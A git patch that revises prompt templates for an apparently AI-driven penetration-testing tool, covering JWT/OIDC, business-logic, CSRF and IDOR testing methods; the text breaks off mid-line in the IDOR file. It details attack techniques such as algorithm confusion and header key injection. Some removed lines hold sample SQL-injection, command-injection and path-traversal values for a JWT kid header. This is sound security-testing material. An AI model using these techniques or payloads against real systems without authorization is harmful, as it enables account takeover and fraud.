From d4a62ec365272880041e125cc12eb006a107ef9c Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Mon, 13 Oct 2025 15:38:38 -0700 Subject: [PATCH] refactor: Revise vulnerabilities prompts for clarity and comprehensiveness --- .../vulnerabilities/authentication_jwt.jinja | 228 +++++----- .../vulnerabilities/business_logic.jinja | 250 ++++++----- strix/prompts/vulnerabilities/csrf.jinja | 262 +++++------ strix/prompts/vulnerabilities/idor.jinja | 255 ++++++----- .../vulnerabilities/race_conditions.jinja | 280 ++++++------ strix/prompts/vulnerabilities/rce.jinja | 282 +++++------- .../vulnerabilities/sql_injection.jinja | 300 +++++-------- strix/prompts/vulnerabilities/ssrf.jinja | 239 +++++----- strix/prompts/vulnerabilities/xss.jinja | 318 ++++++-------- strix/prompts/vulnerabilities/xxe.jinja | 412 ++++++++---------- 10 files changed, 1313 insertions(+), 1513 deletions(-) diff --git a/strix/prompts/vulnerabilities/authentication_jwt.jinja b/strix/prompts/vulnerabilities/authentication_jwt.jinja index ef3a7e7..d15b9c8 100644 --- a/strix/prompts/vulnerabilities/authentication_jwt.jinja +++ b/strix/prompts/vulnerabilities/authentication_jwt.jinja @@ -1,129 +1,147 @@ -AUTHENTICATION & JWT VULNERABILITIES +AUTHENTICATION AND JWT/OIDC -Authentication flaws lead to complete account takeover. JWT misconfigurations are everywhere. +JWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context. - -header.payload.signature -- Header: {% raw %}{"alg":"HS256","typ":"JWT"}{% endraw %} -- Payload: {% raw %}{"sub":"1234","name":"John","iat":1516239022}{% endraw %} -- Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret) - + +- Web/mobile/API authentication using JWT (JWS/JWE) and OIDC/OAuth2 +- Access vs ID tokens, refresh tokens, device/PKCE/Backchannel flows +- First-party and microservices verification, gateways, and JWKS distribution + - - -RS256 to HS256: -- Change RS256 to HS256 in header -- Use public key as HMAC secret -- Sign token with public key (often in /jwks.json or /.well-known/) - + +1. Inventory issuers and consumers: identity providers, API gateways, services, mobile/web clients. +2. Capture real tokens (access and ID) for multiple roles. Note header, claims, signature, and verification endpoints (/.well-known, /jwks.json). +3. Build a matrix: Token Type × Audience × Service; attempt cross-use (wrong audience/issuer/service) and observe acceptance. +4. Mutate headers (alg, kid, jku/x5u/jwk, typ/cty/crit), claims (iss/aud/azp/sub/nbf/iat/exp/scope/nonce), and signatures; verify what is actually enforced. + - -- Set {% raw %}"alg": "none"{% endraw %} in header -- Remove signature completely (keep the trailing dot) - + + +- Well-known: /.well-known/openid-configuration, /oauth2/.well-known/openid-configuration +- Keys: /jwks.json, rotating key endpoints, tenant-specific JWKS +- Auth: /authorize, /token, /introspect, /revoke, /logout, device code endpoints +- App: /login, /callback, /refresh, /me, /session, /impersonate + - -Common secrets: 'secret', 'password', '123456', 'key', 'jwt_secret', 'your-256-bit-secret' - + +- Headers: {% raw %}{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}{% endraw %} +- Claims: {% raw %}{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}{% endraw %} +- Formats: JWS (signed), JWE (encrypted). Note unencoded payload option ("b64":false) and critical headers ("crit"). + + - -- SQL Injection: {% raw %}"kid": "key' UNION SELECT 'secret'--"{% endraw %} -- Command injection: {% raw %}"kid": "|sleep 10"{% endraw %} -- Path traversal: {% raw %}"kid": "../../../../../../dev/null"{% endraw %} - - + + +- RS256→HS256 confusion: change alg to HS256 and use the RSA public key as HMAC secret if algorithm is not pinned +- "none" algorithm acceptance: set {% raw %}"alg":"none"{% endraw %} and drop the signature if libraries accept it +- ECDSA malleability/misuse: weak verification settings accepting non-canonical signatures + + + +- kid injection: path traversal {% raw %}../../../../keys/prod.key{% endraw %}, SQL/command/template injection in key lookup, or pointing to world-readable files +- jku/x5u abuse: host attacker-controlled JWKS/X509 chain; if not pinned/whitelisted, server fetches and trusts attacker keys +- jwk header injection: embed attacker JWK in header; some libraries prefer inline JWK over server-configured keys +- SSRF via remote key fetch: exploit JWKS URL fetching to reach internal hosts + + + +- JWKS caching TTL and key rollover: accept obsolete keys; race rotation windows; missing kid pinning → accept any matching kty/alg +- Mixed environments: same secrets across dev/stage/prod; key reuse across tenants or services +- Fallbacks: verification succeeds when kid not found by trying all keys or no keys (implementation bugs) + + + +- iss/aud/azp not enforced: cross-service token reuse; accept tokens from any issuer or wrong audience +- scope/roles fully trusted from token: server does not re-derive authorization; privilege inflation via claim edits when signature checks are weak +- exp/nbf/iat not enforced or large clock skew tolerance; accept long-expired or not-yet-valid tokens +- typ/cty not enforced: accept ID token where access token required (token confusion) + + + +- Access vs ID token swap: use ID token against APIs when they only verify signature but not audience/typ +- OIDC mix-up: redirect_uri and client mix-ups causing tokens for Client A to be redeemed at Client B +- PKCE downgrades: missing S256 requirement; accept plain or absent code_verifier +- State/nonce weaknesses: predictable or missing → CSRF/logical interception of login\n- Device/Backchannel flows: codes and tokens accepted by unintended clients or services + + + +- Refresh token rotation not enforced: reuse old refresh token indefinitely; no reuse detection +- Long-lived JWTs with no revocation: persistent access post-logout +- Session fixation: bind new tokens to attacker-controlled session identifiers or cookies + + + +- Token in localStorage/sessionStorage: susceptible to XSS exfiltration; cookie vs header trade-offs with SameSite/CSRF +- Insecure CORS: wildcard origins with credentialed requests expose tokens and protected responses +- TLS and cookie flags: missing Secure/HttpOnly; lack of mTLS or DPoP/"cnf" binding permits replay from another device + + - -Embed public key in token header: -{% raw %}{"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}}{% endraw %} - + +- Audience mismatch: internal services verify signature but ignore aud → accept tokens for other services +- Header trust: edge or gateway injects X-User-Id; backend trusts it over token claims +- Asynchronous consumers: workers process messages with bearer tokens but skip verification on replay + - -Set jku/x5u to attacker-controlled URL hosting malicious JWKS - + +- Unencoded payload (b64=false) with crit header: libraries mishandle verification paths +- Nested JWT (JWT-in-JWT) verification order errors; outer token accepted while inner claims ignored + - -Extract signature byte-by-byte using verification timing differences - - + + +- Deep-link/redirect handling bugs leak codes/tokens; insecure WebView bridges exposing tokens +- Token storage in plaintext files/SQLite/Keychain/SharedPrefs; backup/adb accessible + - - -- Exploit redirect_uri with open redirects, subdomain takeover, parameter pollution -- Missing/predictable state parameter = CSRF -- PKCE downgrade: remove code_challenge parameter - - + +- Misconfigured trust between multiple IdPs/SPs, mixed metadata, or stale keys lead to acceptance of foreign tokens + + - -- Signature exclusion: remove signature element -- Signature wrapping: inject assertions -- XXE in SAML responses - - - -- Session fixation: force known session ID -- Session puzzling: mix different session objects -- Race conditions in session generation - - - -- Predictable tokens: MD5(timestamp), sequential numbers -- Host header injection for reset link poisoning -- Race condition resets - - - -- Response manipulation: change success:false to true -- Status code manipulation: 403 to 200 -- Brute force with no rate limiting -- Backup code abuse - - - - -Different representations: admin@example.com (fullwidth), аdmin@example.com (Cyrillic) - - - -- JWT + SQLi: kid parameter with SQL injection -- OAuth + XSS: steal tokens via XSS -- SAML + XXE + SSRF: chain for internal access - - - - -- jwt_tool: Comprehensive JWT testing -- Check endpoints: /login, /oauth/authorize, /saml/login, /.well-known/openid-configuration, /jwks.json - + +- XSS → token theft → replay across services with weak audience checks +- SSRF → fetch private JWKS → sign tokens accepted by internal services +- Host header poisoning → OIDC redirect_uri poisoning → code capture +- IDOR in sessions/impersonation endpoints → mint tokens for other users + -To confirm authentication flaw: -1. Demonstrate account access without credentials -2. Show privilege escalation -3. Prove token forgery works -4. Bypass authentication/2FA requirements -5. Maintain persistent access +1. Show forged or cross-context token acceptance (wrong alg, wrong audience/issuer, or attacker-signed JWKS). +2. Demonstrate access token vs ID token confusion at an API. +3. Prove refresh token reuse without rotation detection or revocation. +4. Confirm header abuse (kid/jku/x5u/jwk) leading to key selection under attacker control. +5. Provide owner vs non-owner evidence with identical requests differing only in token context. -NOT a vulnerability if: -- Requires valid credentials -- Only affects own session -- Proper signature validation -- Token expiration enforced -- Rate limiting prevents brute force +- Token rejected due to strict audience/issuer enforcement +- Key pinning with JWKS whitelist and TLS validation +- Short-lived tokens with rotation and revocation on logout +- ID token not accepted by APIs that require access tokens -- Account takeover: access other users' accounts -- Privilege escalation: user to admin -- Token forgery: create valid tokens -- Bypass mechanisms: skip auth/2FA -- Persistent access: survives logout +- Account takeover and durable session persistence +- Privilege escalation via claim manipulation or cross-service acceptance +- Cross-tenant or cross-application data access +- Token minting by attacker-controlled keys or endpoints -Focus on RS256->HS256, weak secrets, and none algorithm first. Modern apps use multiple auth methods simultaneously - find gaps in integration. + +1. Pin verification to issuer and audience; log and diff claim sets across services. +2. Attempt RS256→HS256 and "none" first only if algorithm pinning is unclear; otherwise focus on header key control (kid/jku/x5u/jwk). +3. Test token reuse across all services; many backends only check signature, not audience/typ. +4. Exploit JWKS caching and rotation races; try retired keys and missing kid fallbacks. +5. Exercise OIDC flows with PKCE/state/nonce variants and mixed clients; look for mix-up. +6. Try DPoP/mTLS absence to replay tokens from different devices. +7. Treat refresh as its own surface: rotation, reuse detection, and audience scoping. +8. Validate every acceptance path: gateway, service, worker, WebSocket, and gRPC. +9. Favor minimal PoCs that clearly show cross-context acceptance and durable access. +10. When in doubt, assume verification differs per stack (mobile vs web vs gateway) and test each. + + +Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion. diff --git a/strix/prompts/vulnerabilities/business_logic.jinja b/strix/prompts/vulnerabilities/business_logic.jinja index ac91150..cacc35c 100644 --- a/strix/prompts/vulnerabilities/business_logic.jinja +++ b/strix/prompts/vulnerabilities/business_logic.jinja @@ -1,143 +1,171 @@ -BUSINESS LOGIC FLAWS - OUTSMARTING THE APPLICATION +BUSINESS LOGIC FLAWS -Business logic flaws bypass all technical security controls by exploiting flawed assumptions in application workflow. Often the highest-paying vulnerabilities. +Business logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads. + + +- Financial logic: pricing, discounts, payments, refunds, credits, chargebacks +- Account lifecycle: signup, upgrade/downgrade, trial, suspension, deletion +- Authorization-by-logic: feature gates, role transitions, approval workflows +- Quotas/limits: rate/usage limits, inventory, entitlements, seat licensing +- Multi-tenant isolation: cross-organization data or action bleed +- Event-driven flows: jobs, webhooks, sagas, compensations, idempotency + + + +1. Enumerate a state machine per critical workflow (states, transitions, pre/post-conditions). Note invariants (e.g., "refund ≤ captured amount"). +2. Build an Actor × Action × Resource matrix with at least: unauth, basic user, premium, staff/admin; identify actions per role. +3. For each transition, test step skipping, repetition, reordering, and late mutation (modify inputs after validation but before commit). +4. Introduce time, concurrency, and channel variance: repeat with parallel requests, different content-types, mobile/web/API/GraphQL. +5. Validate persistence boundaries: verify that all services, queues, and jobs re-enforce invariants (no trust in upstream validation). + -- Map complete user journeys and state transitions -- Document developer assumptions -- Find edge cases in workflows -- Look for missing validation steps -- Identify trust boundaries + +- Derive endpoints from the UI and proxy/network logs; map hidden/undocumented API calls, especially finalize/confirm endpoints +- Identify tokens/flags: stepToken, paymentIntentId, orderStatus, reviewState, approvalId; test reuse across users/sessions +- Document invariants: conservation of value (ledger balance), uniqueness (idempotency), monotonicity (non-decreasing counters), exclusivity (one active subscription) + + + +- Hidden fields and client-computed totals; server must recompute on trusted sources +- Alternate encodings and shapes: arrays instead of scalars, objects with unexpected keys, null/empty/0/negative, scientific notation +- Business selectors: currency, locale, timezone, tax region; vary to trigger rounding and ruleset changes + + + +- Replays: resubmit stale finalize/confirm requests +- Out-of-order: call finalize before verify; refund before capture; cancel after ship +- Time windows: end-of-day/month cutovers, daylight saving, grace periods, trial expiry edges + - -- Price manipulation (negative quantities, decimal truncation) -- Currency conversion abuse (buy weak, refund strong) -- Discount/coupon stacking -- Payment method switching after verification -- Cart manipulation during checkout - - - -- Registration race conditions (same email/username) -- Account type elevation -- Trial period extension -- Subscription downgrade with feature retention - - - -- Function-level bypass (accessing admin functions as user) -- Object reference manipulation -- Permission inheritance bugs -- Multi-tenancy isolation failures - +- Pricing/cart: price locks, quote to order, tax/shipping computation +- Discount engines: stacking, mutual exclusivity, scope (cart vs item), once-per-user enforcement +- Payments: auth/capture/void/refund sequences, partials, split tenders, chargebacks, idempotency keys +- Credits/gift cards/vouchers: issuance, redemption, reversal, expiry, transferability +- Subscriptions: proration, upgrade/downgrade, trial extension, seat counts, meter reporting +- Refunds/returns/RMAs: multi-item partials, restocking fees, return window edges +- Admin/staff operations: impersonation, manual adjustments, credit/refund issuance, account flags +- Quotas/limits: daily/monthly usage, inventory reservations, feature usage counters - -Use race conditions to: -- Double-spend vouchers/credits -- Bypass rate limits -- Create duplicate accounts -- Exploit TOCTOU vulnerabilities - + +- Skip or reorder steps via direct API calls; verify server enforces preconditions on each transition +- Replay prior steps with altered parameters (e.g., swap price after approval but before capture) +- Split a single constrained action into many sub-actions under the threshold (limit slicing) + - -- Skip workflow steps -- Replay previous states -- Force invalid state transitions -- Manipulate hidden parameters - + +- Parallelize identical operations to bypass atomic checks (create, apply, redeem, transfer) +- Abuse idempotency: key scoped to path but not principal → reuse other users' keys; or idempotency stored only in cache +- Message reprocessing: queue workers re-run tasks on retry without idempotent guards; cause duplicate fulfillment/refund + - -- Type confusion: string where int expected -- Boundary values: 0, -1, MAX_INT -- Format abuse: scientific notation, Unicode -- Encoding tricks: double encoding, mixed encoding - - + +- Floating point vs decimal rounding; rounding/truncation favoring attacker at boundaries +- Cross-currency arbitrage: buy in currency A, refund in B at stale rates; tax rounding per-item vs per-order +- Negative amounts, zero-price, free shipping thresholds, minimum/maximum guardrails + - - -- Add items with negative price -- Modify prices client-side -- Apply expired coupons -- Stack incompatible discounts -- Change currency after price lock - + +- Off-by-one and time-bound resets (UTC vs local); pre-warm at T-1s and post-fire at T+1s +- Reservation/hold leaks: reserve multiple, complete one, release not enforced; backorder logic inconsistencies +- Distributed counters without strong consistency enabling double-consumption + - -- Complete order before payment -- Partial payment acceptance -- Payment replay attacks -- Void after delivery -- Refund more than paid - + +- Double-refund: refund via UI and support tool; refund partials summing above captured amount +- Refund after benefits consumed (downloaded digital goods, shipped items) due to missing post-consumption checks + - -- Premium features in trial -- Account deletion bypasses -- Privilege retention after demotion -- Transfer restrictions bypass - - + +- Feature flags enforced client-side or at edge but not in core services; toggle names guessed or fallback to default-enabled +- Role transitions leaving stale capabilities (retain premium after downgrade; retain admin endpoints after demotion) + - -- Exceed account limits -- Bypass geographic restrictions -- Violate temporal constraints -- Break dependency chains - + +- Saga/compensation gaps: trigger compensation without original success; or execute success twice without compensation +- Outbox/Inbox patterns missing idempotency → duplicate downstream side effects +- Cron/backfill jobs operating outside request-time authorization; mutate state broadly + - -- Parallel execution of exclusive processes -- Recursive operations (infinite loops) -- Asynchronous timing exploitation -- Callback manipulation - - + +- Cross-service assumption mismatch: one service validates total, another trusts line items; alter between calls +- Header trust: internal services trusting X-Role or X-User-Id from untrusted edges +- Partial failure windows: two-phase actions where phase 1 commits without phase 2, leaving exploitable intermediate state + + + +- Tenant-scoped counters and credits updated without tenant key in the where-clause; leak across orgs +- Admin aggregate views allowing actions that impact other tenants due to missing per-tenant enforcement + + + +- Content-type switching (json/form/multipart) to hit different code paths +- Method alternation (GET performing state change; overrides via X-HTTP-Method-Override) +- Client recomputation: totals, taxes, discounts computed on client and accepted by server +- Cache/gateway differentials: stale decisions from CDN/APIM that are not identity-aware + + + + +- Stack incompatible discounts via parallel apply; remove qualifying item after discount applied; retain free shipping after cart changes +- Modify shipping tier post-quote; abuse returns to keep product and refund + + + +- Split transfers to bypass per-transaction threshold; schedule vs instant path inconsistencies +- Exploit grace periods on holds/authorizations to withdraw again before settlement + + + +- Seat licensing: race seat assignment to exceed purchased seats; stale license checks in background tasks +- Usage metering: report late or duplicate usage to avoid billing or to over-consume + + + + +- Business logic + race: duplicate benefits before state updates +- Business logic + IDOR: operate on others' resources once a workflow leak reveals IDs +- Business logic + CSRF: force a victim to complete a sensitive step sequence + -To confirm business logic flaw: -1. Demonstrate financial impact -2. Show consistent reproduction -3. Prove bypass of intended restrictions -4. Document assumption violation -5. Quantify potential damage +1. Show an invariant violation (e.g., two refunds for one charge, negative inventory, exceeding quotas). +2. Provide side-by-side evidence for intended vs abused flows with the same principal. +3. Demonstrate durability: the undesired state persists and is observable in authoritative sources (ledger, emails, admin views). +4. Quantify impact per action and at scale (unit loss × feasible repetitions). -NOT a business logic flaw if: -- Requires technical vulnerability (SQLi, XSS) -- Working as designed (bad design ≠ vulnerability) -- Only affects display/UI -- No security impact -- Requires privileged access +- Promotional behavior explicitly allowed by policy (documented free trials, goodwill credits) +- Visual-only inconsistencies with no durable or exploitable state change +- Admin-only operations with proper audit and approvals -- Financial loss (direct monetary impact) -- Unauthorized access to features/data -- Service disruption -- Compliance violations -- Reputation damage +- Direct financial loss (fraud, arbitrage, over-refunds, unpaid consumption) +- Regulatory/contractual violations (billing accuracy, consumer protection) +- Denial of inventory/services to legitimate users through resource exhaustion +- Privilege retention or unauthorized access to premium features -1. Think like a malicious user, not a developer -2. Question every assumption -3. Test boundary conditions obsessively -4. Combine multiple small issues -5. Focus on money flows -6. Check state machines thoroughly -7. Abuse features, don't break them -8. Document business impact clearly -9. Test integration points -10. Time is often a factor - exploit it +1. Start from invariants and ledgers, not UI—prove conservation of value breaks. +2. Test with time and concurrency; many bugs only appear under pressure. +3. Recompute totals server-side; never accept client math—flag when you observe otherwise. +4. Treat idempotency and retries as first-class: verify key scope and persistence. +5. Probe background workers and webhooks separately; they often skip auth and rule checks. +6. Validate role/feature gates at the service that mutates state, not only at the edge. +7. Explore end-of-period edges (month-end, trial end, DST) for rounding and window issues. +8. Use minimal, auditable PoCs that demonstrate durable state change and exact loss. +9. Chain with authorization tests (IDOR/Function-level access) to magnify impact. +10. When in doubt, map the state machine; gaps appear where transitions lack server-side guards. -Business logic flaws are about understanding and exploiting the application's rules, not breaking them with technical attacks. The best findings come from deep understanding of the business domain. +Business logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse. diff --git a/strix/prompts/vulnerabilities/csrf.jinja b/strix/prompts/vulnerabilities/csrf.jinja index e17f1a9..9bfd223 100644 --- a/strix/prompts/vulnerabilities/csrf.jinja +++ b/strix/prompts/vulnerabilities/csrf.jinja @@ -1,168 +1,174 @@ -CROSS-SITE REQUEST FORGERY (CSRF) - ADVANCED EXPLOITATION +CROSS-SITE REQUEST FORGERY (CSRF) -CSRF forces authenticated users to execute unwanted actions, exploiting the trust a site has in the user's browser. +CSRF abuses ambient authority (cookies, HTTP auth) across origins. Do not rely on CORS alone; enforce non-replayable tokens and strict origin checks for every state change. + + +- Web apps with cookie-based sessions and HTTP auth +- JSON/REST, GraphQL (GET/persisted queries), file upload endpoints +- Authentication flows: login/logout, password/email change, MFA toggles +- OAuth/OIDC: authorize, token, logout, disconnect/connect + + + +1. Inventory all state-changing endpoints (including admin/staff) and note method, content-type, and whether they are reachable via top-level navigation or simple requests (no preflight). +2. For each, determine session model (cookies with SameSite attrs, custom headers, tokens) and whether server enforces anti-CSRF tokens and Origin/Referer. +3. Attempt preflightless delivery (form POST, text/plain, multipart/form-data) and top-level GET navigation. +4. Validate across browsers; behavior differs by SameSite and navigation context. + -- Password/email change forms -- Money transfer/payment functions -- Account deletion/deactivation -- Permission/role changes -- API key generation/regeneration -- OAuth connection/disconnection -- 2FA enable/disable -- Privacy settings modification -- Admin functions -- File uploads/deletions +- Credentials and profile changes (email/password/phone) +- Payment and money movement, subscription/plan changes +- API key/secret generation, PAT rotation, SSH keys +- 2FA/TOTP enable/disable; backup codes; device trust +- OAuth connect/disconnect; logout; account deletion +- Admin/staff actions and impersonation flows +- File uploads/deletes; access control changes - -Common token names: csrf_token, csrftoken, _csrf, authenticity_token, __RequestVerificationToken, X-CSRF-TOKEN + +- Inspect cookies: HttpOnly, Secure, SameSite (Strict/Lax/None). Note that Lax allows cookies on top-level cross-site GET; None requires Secure. +- Determine if Authorization headers or bearer tokens are used (generally not CSRF-prone) versus cookies (CSRF-prone). + -Check if tokens are: -- Actually validated (remove and test) -- Tied to user session -- Reusable across requests -- Present in GET requests -- Predictable or static - + +- Locate anti-CSRF tokens (hidden inputs, meta tags, custom headers). Test removal, reuse across requests, reuse across sessions, and binding to method/path. +- Verify server checks Origin and/or Referer on state changes; test null/missing and cross-origin values. + - -- Test if POST endpoints accept GET -- Try method override headers: _method, X-HTTP-Method-Override -- Check if PUT/DELETE lack protection - + +- Confirm whether GET, HEAD, or OPTIONS perform state changes. +- Try simple content-types to avoid preflight: application/x-www-form-urlencoded, multipart/form-data, text/plain. +- Probe parsers that auto-coerce text/plain or form-encoded bodies into JSON. + + + +- Identify Access-Control-Allow-Origin and -Credentials. Overly permissive CORS is not a CSRF fix and can turn CSRF into data exfiltration. +- Test per-endpoint CORS differences; preflight vs simple request behavior can diverge. + - -HTML form auto-submit: -
- - -
- -
+ +- Auto-submitting form to target origin; works when cookies are sent and no token/origin checks are enforced. +- Top-level GET navigation can trigger state if server misuses GET or links actions to GET callbacks. + + + +- application/x-www-form-urlencoded and multipart/form-data POSTs do not require preflight; prefer these encodings. +- text/plain form bodies can slip through validators and be parsed server-side. + -For JSON endpoints: -
- -
+- If server parses JSON from text/plain or form-encoded bodies, craft parameters to reconstruct JSON server-side. +- Some frameworks accept JSON keys via form fields (e.g., {% raw %}data[foo]=bar{% endraw %}) or treat duplicate keys leniently.
- -For file uploads: -Use XMLHttpRequest with credentials -Generate multipart/form-data boundaries - + +- Force logout to clear CSRF tokens, then chain login CSRF to bind victim to attacker’s account. +- Login CSRF: submit attacker credentials to victim’s browser; later actions occur under attacker’s account. + + + +- Abuse authorize/logout endpoints reachable via GET or form POST without origin checks; exploit relaxed SameSite on top-level navigations. +- Open redirects or loose redirect_uri validation can chain with CSRF to force unintended authorizations. + + + +- File upload/delete often lack token checks; forge multipart requests to modify storage. +- Admin actions exposed as simple POST links are frequently CSRFable. +
- - -- Null token: remove parameter entirely -- Empty token: csrf_token= -- Token from own account: use your valid token -- Token fixation: force known token value -- Method interchange: GET token used for POST - - - -- Referer bypass: use data: URI, about:blank -- Origin bypass: null origin via sandboxed iframe -- CORS misconfigurations - - - -- Change multipart to application/x-www-form-urlencoded -- Use text/plain for JSON endpoints -- Exploit parsers that accept multiple formats - - - - -- XSS on subdomain = CSRF on main domain -- Cookie scope abuse (domain=.example.com) -- Subdomain takeover for CSRF - + +- Lax-by-default cookies are sent on top-level cross-site GET but not POST; exploit GET state changes and GET-based confirmation steps. +- Legacy or nonstandard clients may ignore SameSite; validate across browsers/devices. + - -- Force victim to login as attacker -- Plant backdoors in victim's account -- Access victim's future data - + +- Sandbox/iframes can produce null Origin; some frameworks incorrectly accept null. +- about:blank/data: URLs alter Referer; ensure server requires explicit Origin/Referer match. + - -- Force logout → login CSRF → account takeover - - - -If using double-submit cookies: -- Set cookie via XSS/subdomain -- Cookie injection via header injection -- Cookie tossing attacks - - - - - -- Cross-origin WebSocket hijacking -- Steal tokens from WebSocket messages - + +- Backends honoring _method or X-HTTP-Method-Override may allow destructive actions through a simple POST. + -- GET requests with query parameter -- Batched mutations -- Subscription abuse +- If queries/mutations are allowed via GET or persisted queries, exploit top-level navigation with encoded payloads. +- Batched operations may hide mutations within a nominally safe request. - -- Bearer tokens in URL parameters -- API keys in GET requests -- Insecure CORS policies - + +- Browsers send cookies on WebSocket handshake; enforce Origin checks server-side. Without them, cross-site pages can open authenticated sockets and issue actions. + + + + + +- Accepting missing/empty tokens; tokens not tied to session, user, or path; tokens reused indefinitely; tokens in GET. +- Double-submit cookie without Secure/HttpOnly, or with predictable token sources. + + + +- Switch between form, multipart, and text/plain to reach different code paths and validators. +- Use duplicate keys and array shapes to confuse parsers. + + + +- Strip Referer via meta refresh or navigate from about:blank; test null Origin acceptance. +- Leverage misconfigured CORS to add custom headers that servers mistakenly treat as CSRF tokens. + + + + + +- Deep links and embedded WebViews may auto-send cookies; trigger actions via crafted intents/links. +- SPAs that rely solely on bearer tokens are less CSRF-prone, but hybrid apps mixing cookies and APIs can still be vulnerable. + + + +- Webhooks and back-office tools sometimes expose state-changing GETs intended for staff; confirm CSRF defenses there too. + + +- CSRF + IDOR: force actions on other users' resources once references are known. +- CSRF + Clickjacking: guide user interactions to bypass UI confirmations. +- CSRF + OAuth mix-up: bind victim sessions to unintended clients. + + -To confirm CSRF: -1. Create working proof-of-concept -2. Test across browsers -3. Verify action completes successfully -4. No user interaction required (beyond visiting page) -5. Works with active session +1. Demonstrate a cross-origin page that triggers a state change without user interaction beyond visiting. +2. Show that removing the anti-CSRF control (token/header) is accepted, or that Origin/Referer are not verified. +3. Prove behavior across at least two browsers or contexts (top-level nav vs XHR/fetch). +4. Provide before/after state evidence for the same account. +5. If defenses exist, show the exact condition under which they are bypassed (content-type, method override, null Origin). -NOT CSRF if: -- Requires valid CSRF token -- SameSite cookies properly configured -- Proper origin/referer validation -- User interaction required -- Only affects non-sensitive actions +- Token verification present and required; Origin/Referer enforced consistently. +- No cookies sent on cross-site requests (SameSite=Strict, no HTTP auth) and no state change via simple requests. +- Only idempotent, non-sensitive operations affected. -- Account takeover -- Financial loss -- Data modification/deletion -- Privilege escalation -- Privacy violations +- Account state changes (email/password/MFA), session hijacking via login CSRF, financial operations, administrative actions. +- Durable authorization changes (role/permission flips, key rotations) and data loss. -1. Check all state-changing operations -2. Test file upload endpoints -3. Look for token disclosure in URLs -4. Chain with XSS for token theft -5. Check mobile API endpoints -6. Test CORS configurations -7. Verify SameSite cookie settings -8. Look for method override possibilities -9. Test WebSocket endpoints -10. Document clear attack scenario +1. Prefer preflightless vectors (form-encoded, multipart, text/plain) and top-level GET if available. +2. Test login/logout, OAuth connect/disconnect, and account linking first. +3. Validate Origin/Referer behavior explicitly; do not assume frameworks enforce them. +4. Toggle SameSite and observe differences across navigation vs XHR. +5. For GraphQL, attempt GET queries or persisted queries that carry mutations. +6. Always try method overrides and parser differentials. +7. Combine with clickjacking when visual confirmations block CSRF. -Modern CSRF requires creativity - look for token leaks, chain with other vulnerabilities, and focus on high-impact actions. SameSite cookies are not always properly configured. +CSRF is eliminated only when state changes require a secret the attacker cannot supply and the server verifies the caller’s origin. Tokens and Origin checks must hold across methods, content-types, and transports.
diff --git a/strix/prompts/vulnerabilities/idor.jinja b/strix/prompts/vulnerabilities/idor.jinja index b2a29cb..c6b70e3 100644 --- a/strix/prompts/vulnerabilities/idor.jinja +++ b/strix/prompts/vulnerabilities/idor.jinja @@ -1,164 +1,195 @@ -INSECURE DIRECT OBJECT REFERENCE (IDOR) - ELITE TECHNIQUES +INSECURE DIRECT OBJECT REFERENCE (IDOR) -IDORs are among the HIGHEST IMPACT vulnerabilities - direct unauthorized data access and account takeover. +Object- and function-level authorization failures (BOLA/IDOR) routinely lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller. + + +- Horizontal access: access another subject's objects of the same type +- Vertical access: access privileged objects/actions (admin-only, staff-only) +- Cross-tenant access: break isolation boundaries in multi-tenant systems +- Cross-service access: token or context accepted by the wrong service + + + +1. Build a Subject × Object × Action matrix (who can do what to which resource). +2. For each resource type, obtain at least two principals: owner and non-owner (plus admin/staff if applicable). Capture at least one valid object ID per principal. +3. Exercise every action (R/W/D/Export) while swapping IDs, tokens, tenants, and channels (web, mobile, API, GraphQL, WebSocket, gRPC). +4. Track consistency: the same rule must hold regardless of transport, content-type, serialization, or gateway. + -- Numeric IDs: user_id=123, account=456 -- UUID/GUID patterns: id=550e8400-e29b-41d4-a716-446655440000 -- Encoded IDs: Base64, hex, custom encoding -- Composite IDs: user-org-123-456, ACCT:2024:00123 -- Hash-based IDs: Check if predictable (MD5 of sequential numbers) -- Object references in: URLs, POST bodies, headers, cookies, JWT tokens +- Object references appear in: paths, query params, JSON bodies, form-data, headers, cookies, JWT claims, GraphQL arguments, WebSocket messages, gRPC messages +- Identifier forms: integers, UUID/ULID/CUID, Snowflake, slugs, composite keys (e.g., {orgId}:{userId}), opaque tokens, base64/hex-encoded blobs +- Relationship references: parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId +- Expansion/projection knobs: fields, include, expand, projection, with, select, populate (often bypass authorization in resolvers or serializers) +- Pagination/cursors: page[offset], page[limit], cursor, nextPageToken (often reveal or accept cross-tenant/state) -- Boundary values: 0, -1, null, empty string, max int -- Different formats: {% raw %}{"id":123} vs {"id":"123"}{% endraw %} -- ID patterns: increment, decrement, similar patterns -- Wildcard testing: *, %, _, all -- Array notation: id[]=123&id[]=456 +- Alternate types: {% raw %}{"id":123}{% endraw} vs {% raw %}{"id":"123"}{% endraw}, arrays vs scalars, objects vs scalars, null/empty/0/-1/MAX_INT, scientific notation, overflows, unknown attributes retained by backend +- Duplicate keys/parameter pollution: id=1&id=2, JSON duplicate keys {% raw %}{"id":1,"id":2}{% endraw} (parser precedence differences) +- Case/aliasing: userId vs userid vs USER_ID; alt names like resourceId, targetId, account +- Path traversal-like in virtual file systems: /files/user_123/../../user_456/report.csv +- Directory/list endpoints as seeders: search/list/suggest/export often leak object IDs for secondary exploitation -- User profiles and PII -- Financial records/transactions -- Private messages/communications -- Medical records -- API keys/secrets -- Internal documents -- Admin functions -- Export endpoints -- Backup files -- Debug information +- Exports/backups/reporting endpoints (CSV/PDF/ZIP) +- Messaging/mailbox/notifications, audit logs, activity feeds +- Billing: invoices, payment methods, transactions, credits +- Healthcare/education records, HR documents, PII/PHI/PCI +- Admin/staff tools, impersonation/session management +- File/object storage keys (S3/GCS signed URLs, share 